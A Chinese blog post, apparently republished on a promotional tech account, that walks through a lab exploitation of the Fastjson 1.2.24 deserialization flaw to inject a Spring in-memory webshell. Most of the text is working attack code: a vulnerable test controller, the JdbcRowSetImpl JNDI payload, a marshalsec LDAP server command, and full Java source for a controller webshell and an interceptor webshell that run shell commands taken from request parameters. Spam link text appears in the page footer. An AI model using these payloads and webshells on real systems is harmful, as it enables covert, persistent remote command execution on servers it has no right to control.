<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          狂野!利用Fastjson注入Spring內(nèi)存馬~

          共 15934字,需瀏覽 32分鐘

           ·

          2021-11-23 22:59

          點(diǎn)擊關(guān)注公眾號(hào),回復(fù)“2T”獲取2TB學(xué)習(xí)資源!

          互聯(lián)網(wǎng)架構(gòu)師后臺(tái)回復(fù) 2T 有特別禮包

          上一篇:阿里排查Java問(wèn)題工具清單!

          此篇文章在于記錄自己對(duì)spring內(nèi)存馬的實(shí)驗(yàn)研究


          環(huán)境搭建


          搭建漏洞環(huán)境,利用fastjson反序列化,通過(guò)JNDI下載惡意的class文件,觸發(fā)惡意類的構(gòu)造函數(shù)中代碼,注入controller內(nèi)存馬。


          1)組件版本:


          fastjson: 1.2.24
          spring-mvc: 4.3.28.RELEASE
          JDK: 8u121


          2)搭建springMVC+fastjson漏洞環(huán)境


          可以參考網(wǎng)上的入門文章進(jìn)行搭建,這里我放出我自己環(huán)境的配置文件


          web.xml


          <servlet> <servlet-name>SpringMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <!--配置springmvc.xml的路徑--> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:springmvc.xml</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>SpringMVC</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping></web-app>


          springmvc.xml


          <!--將AnnotationHandler自動(dòng)掃描到IOC容器中--> <context:component-scan base-package="test.controller"></context:component-scan>
          <mvc:annotation-driven/>
          <!--配置視圖解析器--> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <!--配置前綴--> <property name="prefix" value="/"></property> <!--配置后綴--> <property name="suffix" value=".jsp"></property> </bean>
          </beans>


          HelloController

          @Controllerpublic class HelloController {    @ResponseBody    @RequestMapping(value = "/hello", method = RequestMethod.POST)    public Object hello(@RequestParam("code")String code) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        System.out.println(code);        Object object = JSON.parse(code);        return code + "->JSON.parseObject()->" + object;    }}


          pom.xml


          <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency>
          <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope></dependency><!--SpringMVC依賴--><dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.3.28.RELEASE</version></dependency>

          動(dòng)態(tài)注冊(cè)controller


          在springMVC中,也可以在服務(wù)器程序啟動(dòng)后,利用某種方式實(shí)現(xiàn)動(dòng)態(tài)加載controller。搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。


          1)獲取上下文


          在LandGrey文章中介紹了四種方法,分別是


          方式一:getCurrentWebApplicationContext

          WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();


          方法二:WebApplicationContextUtils


          WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());


          方法三:RequestContextUtils
          WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());


          方法四:getAttribute


          WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);


          而對(duì)于獲取上下文來(lái)說(shuō),推薦使用第三、四種方法。前兩種可能會(huì)獲取不到RequestMappingHandlerMapping實(shí)例


          2)注冊(cè)controller


          使用registerMapping方法來(lái)動(dòng)態(tài)注冊(cè)我們的惡意controller

          // 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中唯一的 Method 對(duì)象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);


          除了使用registerMapping方法注冊(cè)controller外,還有其余的方式可以參考
          https://landgrey.me/blog/12/


          內(nèi)存馬


          以下是大佬的內(nèi)存馬,接下來(lái)進(jìn)行一個(gè)改動(dòng),使之能進(jìn)行回顯

          import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;
          public class InjectToController { // 第一個(gè)構(gòu)造函數(shù) public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
          // 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定義訪問(wèn) controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán) InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二個(gè)構(gòu)造函數(shù) public InjectToController(String aaa) {} // controller指定的處理方法 public void test() throws IOException{ // 獲取request和response對(duì)象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 獲取cmd參數(shù)并執(zhí)行命令 java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }}


          修改回顯


          把test代碼中的內(nèi)容替換為以下

          // 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
          //exectry { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤 response.sendError(404); }}catch (Exception e){}


          最終內(nèi)存馬,搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。

          import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
          public class InjectToController { // 第一個(gè)構(gòu)造函數(shù) public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定義訪問(wèn) controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán) InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二個(gè)構(gòu)造函數(shù) public InjectToController(String aaa) {} // controller指定的處理方法 public void test() throws IOException{ // 獲取request和response對(duì)象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
          //exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤 response.sendError(404); } }catch (Exception e){} }}


          測(cè)試


          fastjson<=1.2.24的 payload:

          {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}


          1)啟動(dòng)本地http服務(wù),綁定端口8888


          python3 -m http.server 8888



          2)利用marshalsec啟動(dòng)LDAP服務(wù),綁定端口9999


          java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999



          3)訪問(wèn)存在fastjson反序列化的頁(yè)面,http://localhost:8080/hello


          發(fā)送payload:


          {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}



          成功寫(xiě)入內(nèi)存馬



          踩坑


          在實(shí)驗(yàn)過(guò)程中,我發(fā)現(xiàn)主要有兩個(gè)比較難解決的點(diǎn),導(dǎo)致實(shí)驗(yàn)難以繼續(xù)


          1.怎么編譯惡意class文件


          可以看到,一個(gè)惡意類是有大量的依賴,如果直接采用javac編譯會(huì)報(bào)錯(cuò)


          -》javac InjectToController.javaInjectToController.java:16: 錯(cuò)誤: 編碼GBK的不可映射字符 // 絎竴涓瀯閫犲嚱鏁? ^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^


          這時(shí)候可以利用idea自帶的編譯特性,先運(yùn)行項(xiàng)目,然后在其項(xiàng)目的target目錄中尋找編譯后的class文件即可搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。



          2.可以彈出計(jì)算器,卻無(wú)法注入內(nèi)存馬


          直接進(jìn)行debug后發(fā)現(xiàn),在這一行代碼會(huì)因?yàn)檎也坏絉equestMappingHandlerMapping 的實(shí)例 bean而拋出異常




          原因在于springmvc.xml文件中,沒(méi)有開(kāi)啟<mvc:annotation-driven/>選項(xiàng)。


          <mvc:annotation-driven/> 是為 MVC 提供額外的支持,參考 Spring 的官方文檔,<mvc:annotation-driven/> 最主要的作用是注冊(cè) HandlerMapping(實(shí)現(xiàn)為 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(實(shí)現(xiàn)為 AnnotationMethodHandlerAdapter) 兩個(gè)類型的 Bean,這兩個(gè) Bean 為 @Controllers(所有控制器) 提供轉(zhuǎn)發(fā)請(qǐng)求的功能。


          而在Spring 3.1 開(kāi)始及以后一般開(kāi)始使用了新的RequestMappingHandlerMapping映射器。


          后記


          Interceptor內(nèi)存馬


          其實(shí)不光是可以注入controller型的內(nèi)存馬,還可以注入Interceptor內(nèi)存馬
          import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 獲取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射獲取adaptedInterceptors屬性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重復(fù)添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已經(jīng)添加過(guò)TestInterceptor實(shí)例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免進(jìn)入實(shí)例創(chuàng)建的死循環(huán)        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }    private TestInterceptor(String aaa){}    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干擾正常業(yè)務(wù)邏輯        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        }        else {            return true;        }}}


          注冊(cè)效果:



          參考

          https://landgrey.me/blog/12/

          https://www.cnblogs.com/bitterz/p/14820898.html

          https://www.cnblogs.com/bitterz/p/14859766.html

          感謝您的閱讀,也歡迎您發(fā)表關(guān)于這篇文章的任何建議,關(guān)注我,技術(shù)不迷茫!小編到你上高速。

              · END ·
          最后,關(guān)注公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師,在后臺(tái)回復(fù):2T,可以獲取我整理的 Java 系列面試題和答案,非常齊全


          正文結(jié)束


          推薦閱讀 ↓↓↓

          1.不認(rèn)命,從10年流水線工人,到谷歌上班的程序媛,一位湖南妹子的勵(lì)志故事

          2.深圳一普通中學(xué)老師工資單曝光,秒殺程序員,網(wǎng)友:敢問(wèn)是哪個(gè)學(xué)校畢業(yè)的?

          3.從零開(kāi)始搭建創(chuàng)業(yè)公司后臺(tái)技術(shù)棧

          4.程序員一般可以從什么平臺(tái)接私活?

          5.清華大學(xué):2021 元宇宙研究報(bào)告!

          6.為什么國(guó)內(nèi) 996 干不過(guò)國(guó)外的 955呢?

          7.這封“領(lǐng)導(dǎo)痛批95后下屬”的郵件,句句扎心!

          8.15張圖看懂瞎忙和高效的區(qū)別!


          瀏覽 42
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚洲人xxxx | 日韩熟女色情视频一区二区三区 | 国产精品视频一区二区三区 | 色哟哟一区二区三区四区 | 日韩无码xxxx |